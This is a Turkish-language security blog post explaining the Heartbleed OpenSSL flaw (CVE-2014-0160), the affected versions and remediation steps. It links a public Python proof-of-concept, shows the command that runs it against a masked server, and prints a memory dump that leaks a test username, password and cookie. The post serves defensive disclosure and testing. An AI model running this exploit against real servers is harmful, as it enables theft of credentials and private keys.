OpenSSL HeartBleed Zafiyeti

OpenSSL HeartBleed Zafiyeti

7 Nisan 2014 tarihinde OpenSSL in resmi internet sayfasında da onaylanan (CVE-2014-0160) çok kritik bir zafiyet bulunmuştur.

Zafiyet açıklamasına göre açıklık, OpenSSL kütüphanesi üzerindeki HeartBeat Prosedüründe yapılması unutulmuş bir sınır/boyut kontrolünden kaynaklanmaktadır. Bu kontrol eksikliği ile sunucu veya istemci üzerinde o anki 64k lık bellek alanına yetkisiz erişim yapılabilmektedir. Kodlama hatasından kaynaklanan bu zafiyet ile OpenSSL kütüphanesi kullanan servislerde saklanan/korunan bilginin ifşası mümkün olmaktadır. Bu bilgiler arasında kullanıcı adı, parola ve email adresleri gibi önemli kişisel bilgilerin yanında, OpenSSL’in getirdiği güvenlik katmanında kullanılan sunucuya ait private keylerin de olması zafiyeti çok kritik hale getirmektedir.

OpenSSL’i nerede kullandığımıza gelince; internet üzerinde koşan ve milyonlarca insanın kullandığı Google, Twitter, Facebook gibi devlerin de içinde yeraldığı bir çok servis (web, email, instant messaging (IM), VPN, DNS vb.) iletişim güvenliği için OpenSSL kütüphanesi kullanmaktadır ve bu zafiyetten etkilenmişlerdir.

Open SSL’in versiyon bazında etkilenmesi aşağıda açıklanmıştır.

OpenSSL 1.0.1’den 1.0.1f versiyona kadar zafiyet bulunmaktadır.
OpenSSL 1.0.1g zafiyet yoktur.
OpenSSL 0.9.8, 1.0.1 ve alt versiyonlarda zafiyet yoktur.
OpenSSL 1.0.1 versiyonu 14 mart 2012 tarihinden beri yürürlüktedir ve OpenSSL 1.0.1g versiyonu 7 Nisan 2014 tarihine çıkana kadar hata devam etmiştir. Bu yüzden uzun bir süre zaafiyetli versiyonları kullanan sunucular risk taşımaktadır.

OpenSSL’in zafiyete ilişkin yaptığı açıklama:

 

openssl1

Kritik bir zafiyet olması sebebi ile OpenSSL kullanan bütün servislerin test edilmesi ve gerekli güncellemelerin yapılması gerekmektedir.

Jared Stafford tarafından python ile hazırlanmış proof-of-concept kodu github üzerinde aşağıdaki adresten ulaşılabilir:

 https://gist.githubusercontent.com/takeshixx/10107280/raw/8052d8479ad0c6150464748d639b0f5e877e8c37/hb-test.py

Bu phyton script yardımı ile sunucularınızda zafiyet olup olmadığı görüntülenebilir. Örnek olarak kimlik bilgisi girişi yaptığımız bir sayfayı test edelim. Https olarak açtığımız sayfaya (https://xxx.yyy.zzz.ttt:8443) giriş bilgilerimizi yazalım.

openssl2

 

[nsyilmaz@servailor ~]$ python sslTest.py XXX.YYY.ZZZ.TTT -p 8443

Connecting…

Sending Client Hello…

Waiting for Server Hello…

 … received message: type = 22, ver = 0302, length = 58

 … received message: type = 22, ver = 0302, length = 961

 … received message: type = 22, ver = 0302, length = 525

 … received message: type = 22, ver = 0302, length = 4

Sending heartbeat request…

 … received message: type = 24, ver = 0302, length = 16384

Received heartbeat response:

  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@….SC[…r…

  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H…9…….

  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3….f…..”.

  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8………5.

  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  …………….

  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  …………3.2.

  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ….E.D…../…

  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A……………

  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  …………….

  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I………..4.

  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2……………

  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  …………….

  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  …………….

  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 4F 72 69 67  ….#…….Orig

  00e0: 69 6E 3A 20 68 74 74 70 73 3A 2F 2F — — — 2E  in: https://XXX.

  00f0: — — — 2E — — — 2E — — — 3A 38 34 34 33  YYY.ZZZ.TTT:8443

  0100: 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F  ..User-Agent: Mo

  0110: 7A 69 6C 6C 61 2F 35 2E 30 20 28 4D 61 63 69 6E  zilla/5.0 (Macin

  0120: 74 6F 73 68 3B 20 49 6E 74 65 6C 20 4D 61 63 20  tosh; Intel Mac

  0130: 4F 53 20 58 20 31 30 5F 37 5F 35 29 20 41 70 70  OS X 10_7_5) App

  0140: 6C 65 57 65 62 4B 69 74 2F 35 33 37 2E 33 36 20  leWebKit/537.36

  0150: 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63  (KHTML, like Gec

  0160: 6B 6F 29 20 43 68 72 6F 6D 65 2F 33 34 2E 30 2E  ko) Chrome/34.0.

  0170: 31 38 34 37 2E 31 31 36 20 53 61 66 61 72 69 2F  1847.116 Safari/

  0180: 35 33 37 2E 33 36 0D 0A 43 6F 6E 74 65 6E 74 2D  537.36..Content-

  0190: 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F  Type: applicatio

  01a0: 6E 2F 78 2D 77 77 77 2D 66 6F 72 6D 2D 75 72 6C  n/x-www-form-url

  01b0: 65 6E 63 6F 64 65 64 0D 0A 52 65 66 65 72 65 72  encoded..Referer

  01c0: 3A 20 68 74 74 70 73 3A 2F 2F — — — 2E 31 33  : https://XXX.YY

  01d0: — 2E — — — 2E — — — 3A 38 34 34 33 2F 6C  Y.ZZZ.TTT:8443/l

  01e0: 6F 67 69 6E 5F 75 70 2E 70 68 70 33 0D 0A 41 63  ogin_up.php3..Ac

  01f0: 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67  cept-Encoding: g

  0200: 7A 69 70 2C 64 65 66 6C 61 74 65 2C 73 64 63 68  zip,deflate,sdch

  0210: 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67  ..Accept-Languag

  0220: 65 3A 20 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E  e: en-US,en;q=0.

  0230: 38 2C 74 72 3B 71 3D 30 2E 36 0D 0A 43 6F 6F 6B  8,tr;q=0.6..Cook

  0240: 69 65 3A 20 70 73 61 43 6F 6E 74 65 78 74 3D 64  ie: psaContext=d

  0250: 61 73 68 62 6F 61 72 64 0D 0A 0D 0A 6C 6F 67 69  ashboard….logi

  0260: 6E 5F 6E 61 6D 65 3D 74 65 73 74 2D 75 6E 61 6D  n_name=test-unam

  0270: 65 26 70 61 73 73 77 64 3D 74 65 73 74 2D 70 77  e&passwd=test-pw

  0280: 64 26 6C 6F 63 61 6C 65 5F 69 64 3D 64 65 66 61  d&locale_id=defa

  0290: 75 6C 74 26 73 65 6E 64 3D A2 B3 27 08 2C 3A EB  ult&send=..’.,:.

  02a0: 25 EA FE 37 D5 D2 06 27 51 FF D2 C7 0F BB 71 34  %..7…’Q…..q4

  02b0: 64 22 2C 22 63 6C 61 73 73 22 3A 22 68 65 61 6C  d”,”class”:”heal

  02c0: 74 68 5F 70 61 72 61 6D 65 74 65 72 22 7D 5D 2C  th_parameter”}],

  02d0: 22 73 65 72 76 65 72 5F 74 61 67 22 3A 31 7D 5D  “server_tag”:1}]

  02e0: 7D 2C 22 73 65 72 76 65 72 22 3A 7B 22 67 65 74  },”server”:{“get

  02f0: 5F 69 6E 66 6F 22 3A 5B 7B 7D 5D 2C 22 67 65 74  _info”:[{}],”get

  0300: 5F 73 74 61 74 22 3A 5B 7B 7D 5D 7D 7D A4 43 2C  _stat”:[{}]}}.C,

  0310: 1B F8 59 7B F5 46 CF 4D 66 88 58 76 BC 86 20 26  ..Y{.F.Mf.Xv.. &

  0320: 4D 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E  M……………

  0330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  …………….

  0340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  …………….

  0350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  …………….

  0360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  …………….

Örnekten de anlaşılacağı gibi zafiyet mevcut ise, https olarak açtığımız sayfaya girdiğimiz kimlik bilgileri uzaktan çalıştırdığımız script yardımı ile sunucu belleğinden kolaylıkla alınabilmektedir.

Zafiyetten etkilenmemek ve olası etkilenmeden dolayı risk yaşamamak adına aşağıdaki maddeleri yerine getirmek gerekir

OpenSSL mutlaka güncellenmelidir.
Gerekli güncellemeleri uygulamak tek başına yeterli değildir. Özel anahtarın (Private key) çalınmış olabilme olasılığı göz önüne alınarak özel anahtar derhal değiştirilmeli ve yeniden SSL sertifikası temin edilmelidir.
Sunucuya zararlı kod yerleştirilme ihtimali az da olsa vardır. Bu nedenden ötürü mümkünse sunuculara yeniden kurulum yapılması ve tüm parolaların değiştirilmesi gerekmektedir